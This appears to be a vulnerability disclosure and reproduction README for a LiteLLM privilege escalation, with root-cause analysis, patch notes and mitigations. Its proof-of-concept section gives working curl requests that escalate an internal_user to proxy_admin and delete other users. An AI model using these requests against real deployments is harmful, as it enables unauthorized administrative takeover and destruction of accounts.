CVE-2026-47101 — LiteLLM Privilege Escalation via /key/generate + /user/update

LiteLLM v1.82.6 (before v1.83.14) /key/generate endpoint allows low-privileged internal_user to request an API key with wildcard routes ["/*"], and then elevate their own role to proxy_admin via the /user/update endpoint, achieving unauthorized privilege escalation.

Description

LiteLLM's /key/generate endpoint is used to generate API keys, and /user/update is used to update user attributes. The authorization checks for these two endpoints have three coherent flaws that can be chained by a low-privileged user:

1. /key/generate does not validate allowed_routes — any role (including internal_user) can request ["/*"] wildcard routes
2. Route check falls back to allowed_routes wildcard matching — the generated wildcard key can access all administrative endpoints
3. /user/update allows self-modification of the user_role field — using the wildcard key, the user can elevate their own role to proxy_admin

Attack Chain

internal_user
  →  POST /key/generate  {"allowed_routes": ["/*"]}
  →  Obtains wildcard API key
  →  POST /user/update   {"user_id": "...", "user_role": "proxy_admin"}
  →  Role elevated to proxy_admin
  →  GET  /user/list     (using wildcard key)
  →  Verifies admin access

Proof of Concept

Environment Setup

# 1. Start PostgreSQL + vulnerable LiteLLM (v1.82.6, pinned digest)
docker compose up -d litellm

# Wait for service to be ready (approx. 10-30 seconds)
sleep 15

Verify Service is Running

# Check container logs
docker logs litellm-privesc 2>&1 | tail -10

Expected output should contain startup logs such as Uvicorn running on http://0.0.0.0:4000.

Step 1: Create an internal_user Account

Use the master key to create a low-privileged internal_user account:

curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}'

Expected output:

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}

Note the returned user_id and key; they will be needed in subsequent steps.

Step 2: Generate an API Key with Wildcard Routes

As internal_user, call /key/generate to request an API key with ["/*"] wildcard routes:

# Replace sk-internal-user-key with the key obtained in the previous step
curl -s -X POST http://localhost:4000/key/generate \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'

Expected output:

{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]}

⚠️ Vulnerability Point: internal_user successfully generated an API key with ["/*"] wildcard routes! This key can access all administrative endpoints, including /user/update, /user/list, etc.

Step 3: Privilege Escalation to proxy_admin

Use the wildcard route key to call /user/update and elevate the user role to proxy_admin:

curl -s -X POST http://localhost:4000/user/update \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'

Expected output:

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}

⚠️ Vulnerability Point: user_role has been changed from internal_user to proxy_admin! The /user/update endpoint allows a user to modify their own user_role field without any privilege restrictions.

Step 4: Verify Administrator Access

Verify the role escalation by accessing the /user/list endpoint:

curl -s -X GET http://localhost:4000/user/list \
  -H "Authorization: Bearer sk-wildcard-key"

Expected output:

{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}

The /user/list endpoint is only accessible to the proxy_admin role. Successfully retrieving the user list confirms that privilege escalation has taken effect.

Step 5: Extension — Delete an Administrator User

Using the obtained proxy_admin privileges, arbitrary users can be deleted via /user/delete:

curl -s -X POST http://localhost:4000/user/delete \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_ids": ["user-id-to-delete"]}'

Expected output:

1

One-Click Reproduction

The above steps have been consolidated into demo.sh, which can be executed directly:

# Full reproduction (includes steps 1-5)
bash demo.sh

# Also test against the fixed version for comparison
bash demo.sh --fixed

Fixed Version Verification

Start the fixed version (v1.83.14-stable) to verify that the vulnerability has been patched:

# Start the fixed version
docker compose --profile fixed up -d litellm-fixed

# Wait for readiness
sleep 15

Create an internal_user:

FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}' | \
  python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")

echo "Fixed user key: $FIXED_USER_KEY"

Attempt to generate a wildcard route key (expected to be blocked):

curl -s -X POST http://localhost:4001/key/generate \
  -H "Authorization: Bearer $FIXED_USER_KEY" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'

Expected output (fixed version blocks unauthorized request):

{"error":{"message":"Not allowed","type":"auth_error","code":"403"}}

Comparison with the vulnerable version:

Vulnerable Endpoints

POST /key/generate

Generates a new API key. The allowed_routes parameter is used to restrict the list of endpoints the key can access.

POST /user/update

Updates user attributes, including the user_role field.

Exploitation Technique

Step 1: Generate an API Key with Wildcard Routes

As internal_user, call /key/generate requesting a key with ["/*"]:

POST /key/generate
Authorization: Bearer sk-internal-user-key
Content-Type: application/json

{"allowed_routes": ["/*"]}

The response contains a new API key with wildcard route privileges.

Step 2: Elevate Role to proxy_admin

Use the wildcard key to call /user/update:

POST /user/update
Authorization: Bearer sk-wildcard-key
Content-Type: application/json

{"user_id": "target-user-id", "user_role": "proxy_admin"}

Step 3: Verify Administrator Privileges

GET /user/list
Authorization: Bearer sk-wildcard-key

Root Cause Analysis

The vulnerability stems from three separate missing authorization checks:

1. /key/generate — Missing allowed_routes role validation

The /key/generate endpoint accepts the allowed_routes parameter and directly associates it with the key, without validating the requester's role. Even an internal_user can request administrative-level route privileges.

# Vulnerable pseudo-code — No role check
@app.post("/key/generate")
async def generate_key(params, user_api_key_dict):
    # Only validates the API key validity
    # Does not check if user_role is allowed to request allowed_routes
    allowed_routes = params.get("allowed_routes", [])
    new_key = create_key(user=user, allowed_routes=allowed_routes)
    return {"key": new_key}

2. Route Authorization Falls Back to allowed_routes Wildcard Matching

When checking route permissions, if the user role-level authorization check fails, the middleware falls back to checking the API key's allowed_routes list. Since ["/*"] matches all routes, all administrative endpoints are allowed.

# Vulnerable pseudo-code — Route check fallback logic
async def authorize_request(request, api_key):
    # Falls back to allowed_routes after user role check fails
    if not user_role_authorized(request, api_key.user):
        # Check allowed_routes — ["/*"] matches everything
        if not any(match_route(route, request.path) for route in api_key.allowed_routes):
            return HTTP_403
    return HTTP_200

3. /user/update — Allows Self-Modification of user_role

When updating user attributes, the /user/update endpoint allows a user to modify their own user_role field without restriction. Only the proxy_admin role should have permission to modify user roles.

# Vulnerable pseudo-code — No restriction on user_role modification
@app.post("/user/update")
async def update_user(params, user_api_key_dict):
    user_id = params.get("user_id")
    updates = {}
    if "user_role" in params:
        updates["user_role"] = params["user_role"]  # No permission check!
    update_user_in_db(user_id, updates)
    return {"user_id": user_id, "data": updates}

Patch Analysis (v1.83.14)

The fixed version adds authorization checks in the following three areas:

1. /key/generate — Added validation of the allowed_routes parameter: regular users cannot request administrative-level route privileges
2. Route Authorization — Fixed the fallback logic to ensure user role checks take precedence over allowed_routes
3. /user/update — Restricted modification of the user_role field: only proxy_admin can modify user roles

Repository Structure

CVE-2026-47101/
├── README.md                               # This file
├── CVE-2026-47101_漏洞复现报告.docx          # Reproduction report (Chinese)
├── docker-compose.yml                      # PostgreSQL + vulnerable/fixed LiteLLM
├── config.yaml                             # LiteLLM config with database connection
├── requirements.txt                        # Python dependencies
├── demo.sh                                 # One-click reproduction script
├── exploit/
│   ├── exploit.py                          # Python exploit script
│   └── payload.py                          # Payload builders
├── docs/
└── screenshots/

Mitigation

1. Upgrade to LiteLLM v1.83.14+ (fixed authorization checks)
2. Restrict API key privileges — enforce least privilege for allowed_routes
3. Audit existing users and keys for signs of privilege escalation
4. Monitor /user/update calls with user_role changes for anomalous activity

References

• NVD Detail
• GitHub Security Advisory
• Obsidian Security Advisory

Disclaimer: This content is provided for educational purposes and authorized security testing only.